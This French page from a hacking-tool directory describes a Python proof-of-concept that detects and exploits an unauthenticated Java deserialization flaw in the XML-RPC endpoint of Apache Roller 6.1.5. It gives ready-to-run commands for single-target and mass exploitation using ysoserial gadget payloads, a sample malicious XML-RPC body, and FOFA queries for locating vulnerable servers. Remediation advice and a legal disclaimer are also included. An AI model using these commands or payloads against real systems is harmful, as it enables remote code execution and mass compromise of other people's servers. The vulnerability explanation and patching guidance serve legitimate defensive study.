Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-82384 — PoC Python pour CVE-2026-82384 : détecte et exploite la désérialisation Java non authentifiée via XML-RPC dans Apache Roller 6.1.5 à l'aide de charges utiles ysoserial, avec analyse en masse. | Kitploit
Outils/GitHubGitHub/murrez/cve-2026-82384
ReconnaissanceGénération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionOutil d'Accès à Distance
GitHubmurrez/cve-2026-82384

CVE-2026-82384

PoC Python pour CVE-2026-82384 : détecte et exploite la désérialisation Java non authentifiée via XML-RPC dans Apache Roller 6.1.5 à l'aide de charges utiles ysoserial, avec analyse en masse.

12il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Partager

CVE-2026-82384 — Désérialisation XML-RPC d'Apache Roller 6.1.5

PoC en Python 3 pour CVE-2026-82384 — désérialisation Java non authentifiée sur le servlet XML-RPC historique d'Apache Roller 6.1.5.

Page du PoC : https://pocbit.org/pocs/cve-2026-82384


Qu'est-ce qu'Apache Roller ?

Apache Roller est un serveur de blogs multi-utilisateurs basé sur Java (historiquement « Roller Weblogger »). Les déploiements sont généralement des WAR Tomcat avec une interface sous /roller-ui/ et des API historiques Blogger / MetaWeblog via XML-RPC à l'adresse /roller-services/xmlrpc. Roller 6.1.5 (sept. 2025) a corrigé un problème de session sans rapport (CVE-2025-24859) mais a laissé la pile XML-RPC dans une configuration dangereuse pour cette CVE.


La vulnérabilité en langage clair

CVE-2026-82384 est une désérialisation de données non fiables (CWE-502) sur le point de terminaison XML-RPC :

  1. Le XmlRpcServlet de Roller est configuré avec enabledForExtensions=true, de sorte que la bibliothèque Apache ws-xmlrpc accepte les types d'extension propriétaires, notamment ex:serializable — un objet Java sérialisé encodé en base64.
  2. Cette analyse s'exécute pendant le traitement de la requête HTTP, avant l'évaluation de l'authentification Blogger/MetaWeblog.
  3. Le mapping du servlet est toujours présent dans web.xml, donc l'analyseur s'exécute même lorsque les administrateurs désactivent XML-RPC dans les paramètres de Roller (webservices.enableXmlRpc=false). Désactiver la fonctionnalité dans l'interface ne ferme pas ce chemin pré-authentification sur 6.1.5.
  4. Un attaquant distant envoie un corps XML-RPC forgé ; le serveur désérialise les octets de l'attaquant → exécution de code à distance dans la JVM (même classe de bug que l'historique CVE-2016-5003 dans ws-xmlrpc / Archiva).

Affecté : Apache Roller 6.1.5 uniquement (selon l'avis du fournisseur).
Corrigé : Apache Roller 6.1.6+ (PR #171) : enabledForExtensions=false, et rejet des requêtes lorsque XML-RPC est désactivé globalement.

MétriqueValeur
CVSS 3.19.8 Critique — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AuthAucune pour la primitive de désérialisation
Découvreurn0mi1k
FournisseurApache Software Foundation

Surface d'attaque

ÉlémentDétail
Point de terminaisonPOST /roller-services/xmlrpc (essayez aussi /roller/roller-services/xmlrpc)
Content-Typetext/xml
Déclencheur<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> à l'intérieur d'un methodCall
Chaîne de gadgetsDépend du classpath (Commons Collections, etc.) ; souvent générée avec ysoserial
ImpactRCE sous l'utilisateur OS de Tomcat/Roller ; généralement contrôle total des données du blog et pivot sur l'hôte

Ce que fait ce PoC

ModeComportement
checkDétecte les empreintes de Roller, localise l'URL XML-RPC, --probe-deser optionnel (envoie des octets de sonde ex:serializable)
exploitEnvoie votre payload sérialisé (fichier, base64, ou ysoserial via --ysoserial-jar)
Mass--list targets.txt --mode exploit -j N — traitement en masse parallèle avec JSONL + exploited.txt

Champs PoCbit : pocbit, pocbit_catalog, pocbit_page sur chaque ligne JSONL.
CLI : bannière colorée, lignes [HIT] / [EXPLOIT] / [FAIL] (désactivable avec --no-color).

Ce dépôt ne fournit pas de chaînes de gadgets RCE prêtes à l'emploi (dépendantes du classpath). Pour une exploitation réelle, fournissez une sortie ysoserial ou un fichier de payload vérifié.


Prérequis

pip install -r requirements.txt

Pour RCE (pas seulement la détection) :

  • Java + JAR ysoserial sur la machine de l'attaquant
  • Exemples de gadgets : URLDNS (preuve hors bande), CommonsCollections6 (exécution de commandes sur le classpath Roller typique — à vérifier d'abord en laboratoire)

Utilisation

Détection

python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12

Exploit (cible unique)

# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd pocbit.your-oast.domain

# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64

# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin

Exploitation massive en masse

python poc.py --list targets.txt --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd oast.example.com -j 10

Sorties :

  • cve_2026_82384_exploit.jsonl — JSON par cible
  • exploited.txt — cibles où la charge utile a été acceptée / OOB envoyé

Exemple de structure XML-RPC (à but éducatif)

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params>
    <param>
      <value>
        <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
          BASE64_JAVA_SERIALIZED_OBJECT
        </ex:serializable>
      </value>
    </param>
  </params>
</methodCall>

Sur 6.1.5, l'analyse de ce corps peut entraîner une désérialisation avant que tout gestionnaire de méthode n'applique les contrôles d'identification.


Remédiation

  1. Mettre à niveau vers Roller 6.1.6+ immédiatement.
  2. En attendant le correctif : bloquer /roller-services/xmlrpc au niveau du reverse proxy / WAF (liste blanche des IP d'administration uniquement).
  3. Inventaire : rechercher Apache Roller, /roller-ui/, les hôtes de blog sur les ports 8080/8443.
  4. Problèmes connexes de la même version : CVE-2026-82377 (autorisation XML-RPC), CVE-2026-82386 (XXE dans l'import de signets) — également corrigés dans 6.1.6.

FOFA / hunting (exemples)

body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"

Confirmez la version 6.1.5 à partir du pied de page, de la page « à propos », ou de WEB-INF / des notes de version avant de la considérer comme exploitable.


Mentions légales

À utiliser uniquement sur des systèmes que vous êtes autorisé à tester. Les exploits de désérialisation peuvent détruire des données et enfreindre la loi en cas de mauvaise utilisation.

Télécharger l’outil